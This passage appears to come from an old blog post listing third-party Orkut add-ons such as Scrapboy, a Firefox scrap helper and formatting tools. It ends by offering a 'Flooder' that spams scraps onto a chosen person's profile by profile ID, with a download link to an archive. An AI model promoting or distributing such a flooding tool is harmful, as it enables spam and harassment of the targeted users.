    Scrap all of your friends (be careful with this one).
    Receive notifications when forums are updated.
    Visit there web site to get more information about the program.

    its d one I Recommend Personally. : Shankha shubhra Ghosh

    Download Orkut Cute 8.6.3 Latest Version


    4.) Scrapboy

    :
    Scrapboy is a kind of browser for orkut. Using Scrapboy you can browse orkut and know when you or your friends receive new scraps. Sending scraps from your desktop is also as easy as writing an instant message. Keeping in touch with your friends was never more fun and easy.

    Download Scrap Boy


    5.) Orkut Scrap Helper :


    (FireFox Extention)
    It is an FireFox extention made by an indian named Ajay Martin.
    Features:
    Scrap those who have scrapped you in a single step!
    Persistant link to Your scrapbook.
    NOTE: You must be logged in to orkut to use this tool.
    Download
    works with : - Firefox 1.0+ - 1.6


    Download Scrap Helper




    Scrap Formatter !!

    right click and open in a new window.. this is a good tool
    click here


    Amazing Smilies !!

    right click and open in a new window.. this is a perfect tool

    click here

    Flooder


    This software floods scraps in your friends profile. All you need to know is his profile id ( The number which appear at the end in the URL bar when you are viewing his profile ) .

    For example: http://www.orkut.com/Profile.aspx?uid=11471904945262408747
    i.e. profile id is 11471904945262408747

    Download ...
    http://www.softscyber.com/programas/CyberFloodScraps.rar